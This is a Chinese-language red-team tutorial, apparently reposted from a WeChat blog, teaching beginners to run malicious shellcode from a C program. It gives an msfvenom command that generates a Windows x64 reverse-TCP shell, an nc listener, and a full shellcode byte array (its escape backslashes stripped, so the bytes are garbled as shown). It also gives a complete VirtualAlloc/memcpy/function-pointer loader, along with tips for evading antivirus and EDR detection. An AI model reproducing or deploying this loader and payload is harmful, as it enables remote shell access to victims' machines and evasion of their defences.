我们为什么首先需要 shellcode?
第一个问题对于初学者来说比较复杂。优秀的 Pentester/Red Teamer 可以编写自己的工具,例如 stager、c2 信标、漏洞利用等等……如果您只依赖公开可用的工具,您的掩护就会被破坏,因为所有主要的 EDR 都已使用其签名进行了更新。这就是为什么我们必须坚持使用自定义代码,但为什么我们需要使用 shellcode?好吧……为了从内存中操作(大多数情况下,这意味着迁移到进程中,但不将文件拖放到磁盘),我们必须提供机器本身可以理解的指令。
Shellcode 是原始 CPU 指令的十六进制表示。大多数情况下,shellcode 是将 stdin、stdout 和 stderr 重定向到远程侦听器的指令(这就是反向 shell 的实际工作方式)。
现在,为什么我们需要使用 C?
我们不能使用更适合初学者的编程语言吗?我们可以,但是有一个问题!
为了使用内存,我们必须访问所谓的 Windows API。这是 Windows 实际工作的内部机制,从分配内存到生成进程。为了使用此类 API,我们必须添加特定库或声明特定方法。对于高级编程语言来说,这可能很复杂,因为对于每个需要的 WIN32 API 方法,都必须执行新的 DLLImport!
此外,像 C# 这样的语言正在使用垃圾收集器,而低级编程语言具有直接内存访问(这一点必须认真对待)。
对于 C/C++,为了访问此类 API,我们唯一需要做的就是包含 <windows.h> 库。很简单,对吧?
由于 C/C++ 是低级语言,因此与 Windows API 和内存操作的集成非常简单。虽然这些语言在 OOP 方面并不友好,但在渗透测试和红队方面却非常方便。
每个 C/C++ 程序在代码成功编译后都会生成一个可移植可执行文件 (PE),这对于 c2 dropper 来说是完美的,因为不需要额外的文件(例如 dll)。
行动
今天练习的想法是创建一个 C 程序,该程序可以在其自己的进程内存上下文中执行 shellcode。我们将从头开始构建,并在将来展示更复杂的东西。
为了运行 shellcode,我们首先必须有一个,对吧?让我们用 msfvenom 生成一个 shell_reverse_tcp shellcode:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -fc
强烈建议尽可能坚持使用 64 位架构。有时只需更改架构,我们就可以逃避一些防病毒解决方案,因为它们仍然针对 32 位恶意软件进行了优化。
在此演示中,我们将使用无阶段有效载荷以简化操作。在实际操作中,我们应该编写自定义阶段程序,但这不是今天的主题。
现在让我们设置监听器:
nc -nvlp 443
监听器已经准备好了,让我们打开 C/C++ IDE(我个人使用 Dev-C++)并添加库导入以及从 msfvenom 生成的 shellcode 作为全局变量。
#include <stdio.h>
#include <windows.h>
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x01xbbxc0xa8xfex82x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
我们将 shellcode 缓冲区存储在何处非常重要。如果它是全局变量或本地变量,它将存储在不同的 PE 部分中。以后会详细介绍!
下一步是定义 main 方法。所有 c 程序都必须有 main,以便了解从哪里开始执行。
int main()
{
return 0;
}
为了执行 shellcode,我们必须:
-
为 shellcode 分配内存。
-
将 shellcode 缓冲区复制到该内存。
-
执行它。
分配步骤由名为 VirtualAlloc 的 WIN32 API 执行(https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
通过定义一个指针,我们后面就可以知道分配是在哪个内存地址进行的。参数很简单,第一个是lpAddress,设置为0,OS会自动找到函数执行的起始地址。第二个是shellcode的大小。第三个参数是分配类型标志,第四个是内存标志。
下一步是将 shellcode 复制到分配的内存中。这是通过 memcpy 函数完成的(这就是我们需要指针的原因):
memcpy(exec, buf, sizeof buf);
第三步是实际执行 shellcode。C 语法很奇怪而且令人困惑,所以最好在某处记下来:
((void(*)())exec)();
完整代码如下:
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x01xbbxc0xa8xfex82x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
int main()
{
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
编译并运行后,我们观察到控制台窗口空闲,但是回调存在:
编译并运行代码
接收回调
结论
说到攻击性编码,我可以说 C/C++ 做得很棒!当然,我们不能局限于它们,但我们的想法是积累更多的知识,这样我们就可以挑选出一种适合我们在运行时需要的工具。
构建这样的 shellcode 运行器很有趣,我们一定会在未来的博客/视频中升级。
敬请关注并感谢您的阅读!
原文始发于微信公众号(Ots安全):红队 101:使用 C 执行恶意 Shellcode — 初学者指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论